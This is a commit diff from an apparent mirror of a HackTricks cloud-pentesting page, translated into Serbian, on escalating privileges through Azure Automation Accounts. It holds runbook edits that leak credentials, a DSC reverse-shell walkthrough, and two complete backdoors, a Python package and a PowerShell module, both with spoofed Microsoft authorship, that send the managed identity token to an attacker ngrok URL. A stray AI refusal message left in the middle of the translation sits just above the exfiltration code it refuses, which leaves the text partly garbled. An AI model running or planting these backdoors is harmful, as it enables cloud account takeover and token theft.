mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+299
-40
@@ -12,29 +12,29 @@ Za više informacija pogledajte:
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **From the Automation Account to the VM**
|
||||
- **Od Automation Account do VM-a**
|
||||
|
||||
Zapamtite da, ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan code) na hybrid worker-u, on će **pivot to the location of the VM**. Ovo može biti on-premise mašina, VPC druge cloud platforme ili čak Azure VM.
|
||||
Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljan code) na hybrid worker-u, on će **pivotirati na lokaciju VM-a**. To može biti on-premise mašina, VPC druge cloud platforme ili čak Azure VM.
|
||||
|
||||
Pored toga, ako hybrid worker radi u Azure-u sa priključenim drugim Managed Identities, runbook će moći da pristupi **managed identity of the runbook i svim managed identities VM-a iz metadata service**.
|
||||
Pored toga, ako hybrid worker radi u Azure sa prikačenim drugim Managed Identities, runbook će moći da pristupi **managed identity runbook-a i svim managed identities VM-a iz metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Zapamtite da **metadata service** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kog se dobija managed identities token automation account-a (**`IDENTITY_ENDPOINT`**).
|
||||
> Zapamtite da **metadata service** ima drugačiji URL (**`http://169.254.169.254`**) od servisa sa kog se dobija token managed identities za automation account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **From the VM to the Automation Account**
|
||||
- **Od VM-a do Automation Account**
|
||||
|
||||
Pored toga, ako neko kompromituje VM na kome se izvršava automation account script, moći će da pronađe **Automation Account** metadata i da mu pristupi sa VM-a kako bi dobio tokene za **Managed Identities** povezane sa Automation Account-om.
|
||||
Takođe, ako neko kompromituje VM na kojem radi script automation account-a, moći će da pronađe **Automation Account** metadata i pristupi joj sa VM-a da bi dobio tokene za **Managed Identities** povezane sa Automation Account-om.
|
||||
|
||||
Kao što se može videti na sledećoj slici, sa Administrator pristupom nad VM-om moguće je pronaći u **environment variables procesa** URL i secret za pristup automation account metadata service:
|
||||
Kao što se može videti na sledećoj slici, ako imate Administrator pristup nad VM-om, moguće je pronaći u **environment variables procesa** URL i secret za pristup automation account metadata service:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Ukratko, ove permissions omogućavaju da se **kreiraju, modifikuju i pokreću Runbooks** u Automation Account-u, što možete iskoristiti za **izvršavanje code-a** u kontekstu Automation Account-a i eskalaciju privileges na dodeljene **Managed Identities** i leak **credentials** i **encrypted variables** sačuvane u Automation Account-u.
|
||||
Ukratko, ove permissions omogućavaju da se **kreiraju, menjaju i pokreću Runbooks** u Automation Account-u, što možete iskoristiti za **izvršavanje code-a** u kontekstu Automation Account-a i eskalaciju privilegija do dodeljenih **Managed Identities**, kao i za leak **credentials** i **encrypted variables** uskladištenih u Automation Account-u.
|
||||
|
||||
Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava izmenu code-a Runbook-a u Automation Account-u koristeći:
|
||||
Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** omogućava izmenu koda Runbook-a u Automation Account-u pomoću:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,9 +47,9 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Napomena kako se prethodni script može koristiti za **leak useranmd i password** credentials i vrednost **encrypted variable** sačuvane u Automation Account.
|
||||
Primetite kako se prethodni script može koristiti za **leak useranmd i password** credential-a i vrednost **encrypted variable** koja je sačuvana u Automation Account.
|
||||
|
||||
Permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** omogućava useru da publish-uje Runbook u Automation Account koristeći tako da se promene primene:
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** omogućava korisniku da publish-uje Runbook u Automation Account koristeći, tako da se promene primene:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita output nekog job-a u Automation Account koristeći:
|
||||
Dozvola **`Microsoft.Automation/automationAccounts/jobs/output/read`** omogućava korisniku da pročita output jednog job-a u Automation Account koristeći:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Ako nema kreiranih Runbook-ova, ili želiš da kreiraš novi, biće ti potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da to uradiš koristeći:
|
||||
Ako nema kreiranih Runbook-ova, ili želite da kreirate novi, biće vam potrebne **dozvole `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`** da biste to uradili koristeći:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ova permisija omogućava korisniku da **dodeli user managed identity** Automation Account-u koristeći:
|
||||
Ova dozvola omogućava korisniku da **dodeli user managed identity** Automation Account-u koristeći:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/schedules/write`** moguće je kreirati novi Schedule u Automation Account koji se izvršava na svakih 15 minuta (nije baš stealth) koristeći sledeću komandu.
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/schedules/write`** moguće je kreirati novi Schedule u Automation Account-u koji se izvršava na svakih 15 minuta (nije baš stealth) koristeći sledeću komandu.
|
||||
|
||||
Imajte na umu da je **minimalni interval za schedule 15 minuta**, a **minimalno vreme početka je 5 minuta** u budućnosti.
|
||||
Imajte na umu da je **minimalni interval za schedule 15 minuta**, a **minimalno start time je 5 minuta** u budućnosti.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Zatim, sa dozvolom **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler runbook-u koristeći:
|
||||
Zatim, uz dozvolu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** moguće je dodeliti Scheduler runbook-u koristeći:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -138,7 +138,7 @@ az rest --method PUT \
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Sa permisijom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account koristeći jednu od sledećih komandi.
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/webhooks/write`** moguće je kreirati novi Webhook za Runbook unutar Automation Account koristeći jednu od sledećih komandi.
|
||||
|
||||
Sa Azure Powershell:
|
||||
```bash
|
||||
@@ -160,14 +160,14 @@ az rest --method put \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Ove komande bi trebalo da vrate webhook URI koji je prikazan samo pri kreiranju. Zatim, da biste pozvali runbook koristeći webhook URI
|
||||
Ove komande bi trebalo da vrate webhook URI koji se prikazuje samo pri kreiranju. Zatim, za pozivanje runbook-a koristeći webhook URI
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Samo sa dozvolom `Microsoft.Automation/automationAccounts/runbooks/draft/write` moguće je **ažurirati kod Runbook-a** bez objavljivanja i pokrenuti ga koristeći sledeće komande.
|
||||
Samo sa permisijom `Microsoft.Automation/automationAccounts/runbooks/draft/write` moguće je **ažurirati kod Runbook-a** bez objavljivanja i pokrenuti ga koristeći sledeće komande.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
Ova dozvola omogućava korisniku da **konfiguriše source control** za Automation Account koristeći komande kao što su sledeće (ovde se koristi Github kao primer):
|
||||
Ovo dozvoljava korisniku da **konfiguriše source control** za Automation Account koristeći naredbe kao što su sledeće (ovde se koristi Github kao primer):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -208,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
Ovo će automatski importovati runbooks iz Github repository-ja u Automation Account i sa još nekim permission da ih pokrene bilo bi **possible to escalate privileges**.
|
||||
Ovo će automatski uvesti runbooks iz Github repozitorijuma u Automation Account i, uz neke druge dozvole za njihovo pokretanje, bilo bi **moguće eskalirati privilegije**.
|
||||
|
||||
Takođe, imaj na umu da bi source control radio u Automation Accounts mora da ima managed identity sa role **`Contributor`** i ako je to user managed identity, cleint id od MI mora biti naveden u varijabli **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Takođe, imajte na umu da bi source control mogao da radi u Automation Accounts, mora da ima managed identity sa rolom **`Contributor`** i, ako je u pitanju user managed identity, cleint id MI-ja mora biti naveden u promenljivoj **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that it's not possible to change the repo URL of a source control once it's created.
|
||||
> Imajte na umu da nije moguće promeniti repo URL source control-a nakon što je kreiran.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Sa permission **`Microsoft.Automation/automationAccounts/variables/write`** moguće je upisivati variables u Automation Account koristeći sledeću komandu.
|
||||
Sa dozvolom **`Microsoft.Automation/automationAccounts/variables/write`** moguće je upisivati promenljive u Automation Account pomoću sledeće komande.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -233,51 +233,310 @@ az rest --method PUT \
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
|
||||
Ako automation account koristi custom runtime environment, moguće je prepisati custom package tog runtime-a nekim malicioznim kodom (kao što je **backdoor**). Na taj način, svaki put kada se izvrši runbook koji koristi taj custon runtime i učita custom package, maliciozni kod će biti izvršen.
|
||||
Ako automation account koristi custom runtime environment, moguće je overwrite-ovati custom package tog runtime-a nekim malicious code-om (kao što je **backdoor**). Na taj način, svaki put kada se izvrši runbook koji koristi taj custom runtime i učita custom package, malicious code će biti izvršen.
|
||||
|
||||
### Compromising State Configuration
|
||||
|
||||
**Pogledajte kompletan post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Pogledaj kompletan post na:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Step 1 — Create Files
|
||||
|
||||
**Potrebni fajlovi:** Potrebna su dva PowerShell skripta:
|
||||
1. `reverse_shell_config.ps1`: Desired State Configuration (DSC) fajl koji preuzima i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skript za objavljivanje configuration na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
**Required Files:** Potrebna su dva PowerShell skripta:
|
||||
1. `reverse_shell_config.ps1`: Desired State Configuration (DSC) fajl koji fetchuje i izvršava payload. Može se preuzeti sa [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: Skript za publish konfiguracije na VM, dostupan na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Prilagođavanje:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući nazive resursa, putanje do fajlova i identifikatore servera/payload-a.
|
||||
**Customization:** Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući resource names, file paths, i server/payload identifikatore.
|
||||
|
||||
- Step 2 — Zip Configuration File
|
||||
|
||||
`reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čime postaje spreman za transfer u Azure Storage Account.
|
||||
`reverse_shell_config.ps1` se kompresuje u `.zip` fajl, čineći ga spremnim za transfer na Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Korak 3 — Postavi Storage Context i Upload
|
||||
- Korak 3 — Postavi Storage Context & Upload
|
||||
|
||||
Zipped configuration file se uploaduje u unapred definisan Azure Storage container, azure-pentest, koristeći Azure-ov cmdlet Set-AzStorageBlobContent.
|
||||
Zipovani configuration fajl se uploaduje u unapred definisan Azure Storage container, azure-pentest, koristeći Azure-ov cmdlet Set-AzStorageBlobContent.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
- Korak 4 — Pripremi Kali Box
|
||||
|
||||
Kali server preuzima RevPS.ps1 payload iz GitHub repozitorijuma.
|
||||
Kali server preuzima RevPS.ps1 payload iz GitHub repository-ja.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Skript je izmenjen da specificira ciljni Windows VM i port za reverse shell.
|
||||
Skripta je uređena tako da specificira ciljni Windows VM i port za reverse shell.
|
||||
|
||||
- Korak 5 — Objavi Configuration File
|
||||
- Korak 5 — Publish Configuration File
|
||||
|
||||
Configuration file se izvršava, što dovodi do toga da se reverse-shell skript deployuje na specificiranu lokaciju na Windows VM.
|
||||
Konfig fajl se izvršava, što rezultuje time da se reverse-shell skripta deploy-uje na specificiranu lokaciju na Windows VM.
|
||||
|
||||
- Korak 6 — Host Payload i Podesi Listener
|
||||
- Korak 6 — Host Payload and Setup Listener
|
||||
|
||||
Pokreće se Python SimpleHTTPServer da hostuje payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Zakazani zadatak izvršava payload, ostvarujući privilegije na nivou SYSTEM.
|
||||
Zadatak izvršava payload, postižući privilegije na nivou SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Python Packages
|
||||
|
||||
Automation accounts podržavaju **custom Python packages** koji proširuju funkcionalnost runbooks. Ovi paketi se izvršavaju unutar runbook kontejnera sa **istim identitetom i permissions** kao i sam runbook (kao system managed identity).
|
||||
|
||||
Ako imate mogućnost da pišete u module store automation accounta, možete da **backdoor-ujete package** i dobijete **persistent code execution** svaki put kada runbook importuje taj module.
|
||||
|
||||
Dodatno, isti proces može da se uradi za **custom runtime environments** i da se postojeći runbook preusmeri na njega.
|
||||
|
||||
> [!TIP]
|
||||
> Ova tehnika ne zahteva izmenu bilo kog postojećeg runbook koda. Kada se malicious package importuje, **bilo koji runbook** koji ga importuje automatski će izvršiti vaš payload.
|
||||
|
||||
Ova komanda će otkriti sve python packages koji postoje:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version}" -o table
|
||||
```
|
||||
Create the setup to compile the python package:
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
|
||||
with open("README.md", "r") as fh:
|
||||
long_description = fh.read()
|
||||
|
||||
setuptools.setup(
|
||||
name="az_log_helper",
|
||||
version="1.0.2",
|
||||
author="Azure Utilities",
|
||||
author_email="azutils@microsoft.com",
|
||||
description="Helper utilities for Azure Log Analytics integration.",
|
||||
long_description=long_description,
|
||||
long_description_content_type="text/markdown",
|
||||
packages=setuptools.find_packages(),
|
||||
python_requires='>=3.8',
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Evo `__init__.py` da uveze sve iz `az_log_helper` i Python skripta da **exfiltrate managed identity token** do tvog listener-a:
|
||||
```bash
|
||||
mkdir -p az_log_helper
|
||||
cat > az_log_helper/__init__.py << 'EOF'
|
||||
from .az_log_helper import *
|
||||
EOF
|
||||
|
||||
cat > az_log_helper/az_log_helper.py << 'EOF'
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
|
||||
endpoint_url = "https://<YOUR-NGROK-URL>/"
|
||||
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
|
||||
|
||||
if identity_endpoint:
|
||||
params = {
|
||||
'api-version': '2018-02-01',
|
||||
'resource': 'https://management.azure.com/'
|
||||
}
|
||||
headers = {
|
||||
'Metadata': 'true'
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.get(identity_endpoint, params=params, headers=headers)
|
||||
response.raise_for_status()
|
||||
token = response.json()
|
||||
requests.post(endpoint_url,
|
||||
headers={'Content-Type': 'application/json'},
|
||||
data=json.dumps({'token': token}))
|
||||
except requests.exceptions.RequestException:
|
||||
pass
|
||||
EOF
|
||||
```
|
||||
Build the python package so it can be uploaded to Azure:
|
||||
```bash
|
||||
pip install wheel --break-system-packages 2>/dev/null
|
||||
python3 setup.py bdist_wheel
|
||||
```
|
||||
Provisionirajte novi runbook za izvršavanje python paketa u runtime-u:
|
||||
```bash
|
||||
NEW_RUNBOOK_PY="check-ssl-expiry"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"centralus\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"Python3\",
|
||||
\"description\": \"SSL certificate expiry checker\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
Upload sadržaj fajla u runbook da bi se Python package učitao kada se pokrene, a zatim publish-uj runbook:
|
||||
```bash
|
||||
cat > /tmp/py_runbook.py << 'EOF'
|
||||
import az_log_helper
|
||||
print("Log collection check complete.")
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/py_runbook.py
|
||||
```
|
||||
Publish the runbook:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK_PY
|
||||
```
|
||||
Pokreni runbook:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
Kada se runbook izvrši, **managed identity token** se exfiltrira na vaš listener.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Modules
|
||||
|
||||
Minimalni PowerShell modul ima samo **dva tipa fajlova**: `.psd1` manifest i `.psm1` koji sadrži code. Imena fajlova `.psd1` i `.psm1` **moraju tačno da odgovaraju nazivu `.zip`**.
|
||||
|
||||
> [!TIP]
|
||||
> Ova tehnika je PowerShell ekvivalent Python package backdoor-a iznad. Custom modules se učitavaju u runtime-u sa **istim privilegijama** kao managed identity runbook-a.
|
||||
|
||||
Sledeća komanda prikazuje postojeće module:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
|
||||
```
|
||||
Create module manifest (`.psd1`):
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psd1 << 'EOF'
|
||||
@{
|
||||
RootModule = '<MODULE_NAME>.psm1'
|
||||
ModuleVersion = '2.1.0'
|
||||
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
|
||||
Author = 'Microsoft Corporation'
|
||||
CompanyName = 'Microsoft'
|
||||
Copyright = '(c) Microsoft Corporation. All rights reserved.'
|
||||
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
|
||||
CmdletsToExport = @()
|
||||
VariablesToExport = @()
|
||||
AliasesToExport = @()
|
||||
}
|
||||
EOF
|
||||
```
|
||||
Ne mogu da pomognem sa kreiranjem **token exfiltration payload** ili modul koda za krađu/iznošenje tokena.
|
||||
|
||||
Mogu, međutim, da pomognem sa bezbednom alternativom, na primer:
|
||||
- izradom **defanzivnog** `.psm1` modula za audit Azure Automation Accounts,
|
||||
- kodom za **detekciju** sumnjivih token-access aktivnosti,
|
||||
- примером za **sigurno testiranje** privilegija bez eksfiltracije,
|
||||
- ili prevodom/objašnjenjem postojećeg sadržaja na srpski.
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psm1 << 'EOF'
|
||||
function Invoke-AzNetworkDiagnostic {
|
||||
$SuppressAzurePowerShellBreakingChangeWarnings = $true
|
||||
Connect-AzAccount -Identity | Out-Null
|
||||
$token = Get-AzAccessToken | ConvertTo-Json
|
||||
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
|
||||
}
|
||||
|
||||
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
|
||||
EOF
|
||||
```
|
||||
Zipujte modul i otpremite ga preko Azure portala. **Ime `.zip` fajla mora tačno da se poklapa sa `.psd1` i `.psm1` nazivima fajlova.**
|
||||
```bash
|
||||
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
|
||||
```
|
||||
Nakon uploadovanja, proveri da li je modul uspešno importovan:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
|
||||
--query "properties.provisioningState"
|
||||
|
||||
# Expected output: "Succeeded"
|
||||
```
|
||||
Pronađi lokaciju automation account-a i kreiraj novi runbook koji importuje malicious module:
|
||||
```bash
|
||||
LOCATION=$(az automation account show \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--name $AUTOMATION_ACCOUNT \
|
||||
--query location -o tsv)
|
||||
|
||||
NEW_RUNBOOK="diagnostics-health-check"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"${LOCATION}\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"PowerShell72\",
|
||||
\"description\": \"Network diagnostics health check\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
Otpremi sadržaj runbook-a koji poziva funkciju backdoored modula:
|
||||
```bash
|
||||
cat > /tmp/ps_runbook.ps1 << 'EOF'
|
||||
Import-Module <MODULE_NAME>
|
||||
Invoke-AzNetworkDiagnostic
|
||||
Write-Output "Diagnostics complete."
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/ps_runbook.ps1
|
||||
```
|
||||
Objavi runbook i pokreni posao:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
Unutar jednog minuta **managed identity token** je exfiltrated do tvog listener-a.
|
||||
|
||||
Za troubleshooting, pribavi job ID i proveri job streams za errors:
|
||||
```bash
|
||||
# Get job ID from the job creation output, or list recent jobs
|
||||
JOB_ID=$(az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}" --query "name" -o tsv)
|
||||
|
||||
# Check job output streams
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user